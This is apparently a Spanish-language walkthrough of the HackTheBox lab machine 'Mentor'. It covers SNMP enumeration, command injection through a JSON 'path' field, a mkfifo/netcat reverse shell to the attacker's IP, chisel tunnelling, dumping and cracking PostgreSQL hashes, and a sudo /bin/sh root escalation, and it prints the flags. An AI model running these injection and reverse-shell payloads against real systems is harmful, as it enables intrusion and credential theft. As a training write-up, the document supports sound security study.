Mentor - HackTheBox
Hola!! Hoy vamos a completar la máquina Mentor de la plataforma HackTheBox! Donde tocaremos los siguientes puntos:
- Information Leakage
- Command Injection
- Chisel Port Forwarding
- Docker Breakout Via Hash capture in PostgreSQL database
- Abusing Sudoers Privilege [Privilege Escalation]
Reconocimiento
Escaneo nmap
Iniciaremos con un escaneo de nmap
vía protocolo TCP
1
2
3
4
5
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.193 -oG allPorts
Nmap scan report for 10.10.11.193
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Usaremos la herramienta extractPorts
de S4vitar para extraer información de la captura en formato grepeable de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ which extractPorts | batcat -l bash
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ STDIN
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ extractPorts () {
2 │ ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
3 │ ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)"
4 │ echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
5 │ echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
6 │ echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
7 │ echo $ports | tr -d '\n' | xclip -sel clip
8 │ echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
9 │ /bin/batcat --paging=never extractPorts.tmp
10 │ rm extractPorts.tmp
11 │ }
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.193
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Escanearemos puertos vía UDP, nos damos cuenta del puerto 161 snmp
abierto
1
2
3
4
❯ sudo nmap -T5 --top-ports 100 -sU 10.10.11.193
Nmap scan report for 10.10.11.193
PORT STATE SERVICE
161/udp open snmp
Con la herramienta snmpbulkwalk
encontramos credenciales pero no nos sirven para nada ahora mismo
1
2
3
4
5
6
7
❯ snmpbulkwalk -v2c -c internal 10.10.11.193 | grep login
iso.3.6.1.2.1.25.4.2.1.2.913 = STRING: "systemd-logind"
iso.3.6.1.2.1.25.4.2.1.2.1690 = STRING: "login.sh"
iso.3.6.1.2.1.25.4.2.1.2.2111 = STRING: "login.py"
iso.3.6.1.2.1.25.4.2.1.4.913 = STRING: "/lib/systemd/systemd-logind"
iso.3.6.1.2.1.25.4.2.1.5.1690 = STRING: "/usr/local/bin/login.sh"
iso.3.6.1.2.1.25.4.2.1.5.2111 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
Reconocimiento Web
Si nos fijams en la página web nos redirige a mentorquotes.htb
, así que añadiremos el domino al /etc/hosts
1
2
❯ echo "10.10.11.193 mentorquotes.htb | tee -a /etc/hosts
10.10.11.193 mentorquotes.htb
Ahora que tenemos un dominio, podemos fuzzear subdominios, en mi caso voy a usar la herramienta gobuster
, aunque podéis usar otras como wfuzz
, etc.
1
2
3
4
5
6
7
8
9
10
11
❯ gobuster vhost -u mentorquotes.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -r
===============================================================
[+] Url: http://mentorquotes.htb
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: false
===============================================================
Found: api.mentorquotes.htb (Status: 404) [Size: 22]
Ahora con la herramienta gobuster
vamos a fuzzear directorios en el subdominio, podemos ver el directorio /docs, nos damos cuenta que está usando Swagger
Viendo en la web, nos damos cuenta del correo del usuario james
, cuyo correo es james@mentorquotes.htb
Vamos a intentar registrarnos en la API con la información de la documentación, voy a estar haciendo todo desde la herramienta proxy BurpSuite
Nos crearemos una cuenta con credenciales aleatorias
Ahora intentaremos capturar el login con BurpSuite
Y se nos proporciona el token JWT
Si intentamos más cosas no nos dejará avanzar, así que crearemso una cuenta con el nombre james
Ahora con las credenciales que le hemos proporcionamos nos intentaremos loguear
Ahora, si intentamos listar todos los usuarios en el directorio /users
También, podemos intentar entrar al directorio /admin
editando los headers para acceder a él, obtenemos dos directorios
El directorio /check
aún no está implementado
En el directorio /backup
nos dice que el metodo GET
no está autorizado, así que cambiaremos nuestro metodo de petición
Nos dice que quiere un objeto JSON
con el parámetro body
Así que le pasaremos un JSON
vacío, recordad que tenemos que cambiar el header application/x-www-form-urlencoded
a application/json
, la web ahora nos pide otro atributo, path
Le daremos los dos parámetros, la página nos devuelve un mensaje Done!
En este punto intentaremos una inyección de comandos en el campo path
, así que nos pondremos en escucha con tcpdump
en escucha de trazas ICMP
1
2
3
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Ahora editaremos el objeto JSON, por lo que quedaría de la siguiente manera
1
2
3
4
{
"body":"l4nder",
"path":"/etc/passwd;ping -c 1 10.10.14.48;"
}
Mandaremos la petición, y obtenemos las trazas ICMP
1
2
3
4
5
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:52:28.337549 IP 10.10.11.193 > 10.10.14.48: ICMP echo request, id 2, seq 1, length 64
19:52:28.337605 IP 10.10.14.48 > 10.10.11.193: ICMP echo reply, id 2, seq 1, length 64
Así que cambiaremos la petición para obtener la reverse shell
1
2
3
4
{
"body":"l4nder",
"path":"/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.48 443 >/tmp/f;
}
Mandamos la petición, y obtenemos la reverse shell, pero nos damos cuenta de que estamos en un contenedor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nc -nvlp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.193.
Ncat: Connection from 10.10.11.193:41189.
sh: can't access tty; job control turned off
/app # ls
Dockerfile
app
requirements.txt
/app # pwd
/app
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Dentro del directorio /app/app
, encontramos el archivo db.py
, cuyo archivo tiene credenciales para una base de datos `PostgreSQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/app # pwd
/app
/app # ls -al
total 32
drwxr-xr-x 1 root root 4096 Nov 10 16:00 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 ..
-rw-r--r-- 1 root root 1024 Jun 12 10:21 .Dockerfile.swp
-rw-r--r-- 1 root root 522 Nov 3 12:58 Dockerfile
drwxr-xr-x 1 root root 4096 Nov 10 16:00 app
-rw-r--r-- 1 root root 672 Jun 4 2022 requirements.txt
/app # cd app
/app/app # ls -al
total 40
drwxr-xr-x 1 root root 4096 Nov 10 16:00 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 ..
-rw-r--r-- 1 root root 0 Jun 4 2022 __init__.py
drwxr-xr-x 1 root root 4096 Nov 10 16:00 __pycache__
drwxr-xr-x 1 root root 4096 Nov 10 16:00 api
-rw-r--r-- 1 root root 0 Jun 4 2022 config.py
-rw-r--r-- 1 root root 1001 Jun 7 2022 db.py
-rw-r--r-- 1 root root 1149 Jun 4 2022 main.py
-rw-r--r-- 1 root root 704 Jun 4 2022 requirements.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
"quotes",
metadata,
Column("id", Integer, primary_key=True),
Column("title", String(50)),
Column("description", String(50)),
Column("created_date", DateTime, default=func.now(), nullable=False)
)
# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
"users",
metadata,
Column("id", Integer, primary_key=True),
Column("email", String(50)),
Column("username", String(50)),
Column("password", String(128) ,nullable=False)
)
# Databases query builder
database = Database(DATABASE_URL)
Para interactuar con la base de datos, nos haremos un Port Forwarding con chisel
1
2
3
4
5
# Contenedor
./chisel client 10.10.14.48:1234 R:5432:172.22.0.1:5432
# Máquina atacante
./chisel server --port 1234 --reverse
Así que ahora nos conectaremos a la base de datos, nos damos cuenta de que hay unso cuentos hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ psql -h 10.10.XX.XX -U "postgres" -p 5432
Password for user postgres:
psql (14.5 (Debian 14.5-2), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------------+----------+----------+------------+------------+-----------------------
mentorquotes_db | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c mentorquotes_db
psql (14.5 (Debian 14.5-2), server 13.7 (Debian 13.7-1.pgdg110+1))
You are now connected to database "mentorquotes_db" as user "postgres".
mentorquotes_db=# \d
List of relations
Schema | Name | Type | Owner
--------+---------------+----------+----------
public | cmd_exec | table | postgres
public | quotes | table | postgres
public | quotes_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(5 rows)
mentorquotes_db=# select * from users;
id | email | username | password
----+-------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
4 | dedsec@mentorquotes.htb | james | fc8767a5e9e2382a17072b10725e1c8b
(3 rows)
Intentaremos crackear el hash con Crackstation, nos da la contraseña del usuario svc
, así que nos intentaremos conectar por SSH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
❯ ssh svc@10.10.11.193
The authenticity of host '10.10.11.193 (10.10.11.193)' can't be established.
ED25519 key fingerprint is SHA256:fkqwgXFJ5spB0IsQCmw4K5HTzEPyM27mczyMp6Qct5Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.193' (ED25519) to the list of known hosts.
svc@10.10.11.193's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Dec 11 09:41:28 AM UTC 2022
System load: 0.0
Usage of /: 64.9% of 8.09GB
Memory usage: 14%
Swap usage: 0%
Processes: 240
Users logged in: 0
IPv4 address for br-028c7a43f929: 172.20.0.1
IPv4 address for br-24ddaa1f3b47: 172.19.0.1
IPv4 address for br-3d63c18e314d: 172.21.0.1
IPv4 address for br-7d5c72654da7: 172.22.0.1
IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.193
IPv6 address for eth0: dead:beef::250:56ff:feb9:5da8
=> There are 3 zombie processes.
0 updates can be applied immediately.
Last login: Mon Dec 5 14:30:48 2022 from 10.10.14.40
svc@mentor:~$ cat user.txt
37f652f9868406f5abe95d415a2c0baa
Escalada de privilegios
Al ejecutar linPEAS
podemos encontrar el apartado de archivos de configuración snmp
1
2
3
4
5
6
╔══════════╣ Analyzing SNMP Files (limit 70)
-rw-r--r-- 1 root root 3453 Jun 5 2022 /etc/snmp/snmpd.conf
# rocommunity: a SNMPv1/SNMPv2c read-only access community name
rocommunity public default -V systemonly
rocommunity6 public default -V systemonly
-rw------- 1 Debian-snmp Debian-snmp 1268 Dec 19 04:10 /var/lib/snmp/snmpd.conf
En el archivo de configuración podemos encontrar una contraseña en texto plano
1
2
3
svc@mentor:~$ cat /etc/snmp/snmpd.conf | grep Password
createUser bootstrap MD5 SuperSecurePassword123__ DES
svc@mentor:~$
Es la contraseña del usuario James
, así que nos convertiremoos en James
usando el comando su
1
2
3
4
5
svc@mentor:~$ su james
Password: SuperSecurePassword123__
james@mentor:/home/svc$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@mentor:/home/svc$
Si nos fijamos en los privilegios a nivel de sudoers, nos percatamos que podemos ejecutar /bin/sh
como root, la escalada es fácil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
james@mentor:/home/svc$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
james@mentor:/home/svc$ sudo sh
# bash
root@mentor:/home/svc# id
uid=0(root) gid=0(root) groups=0(root)
root@mentor:/home/svc# cd
root@mentor:~# ls
logins.log root.txt scripts snap
root@mentor:~# cat root.txt
85b7faf34ac77201de181b4904ae8111
root@mentor:~#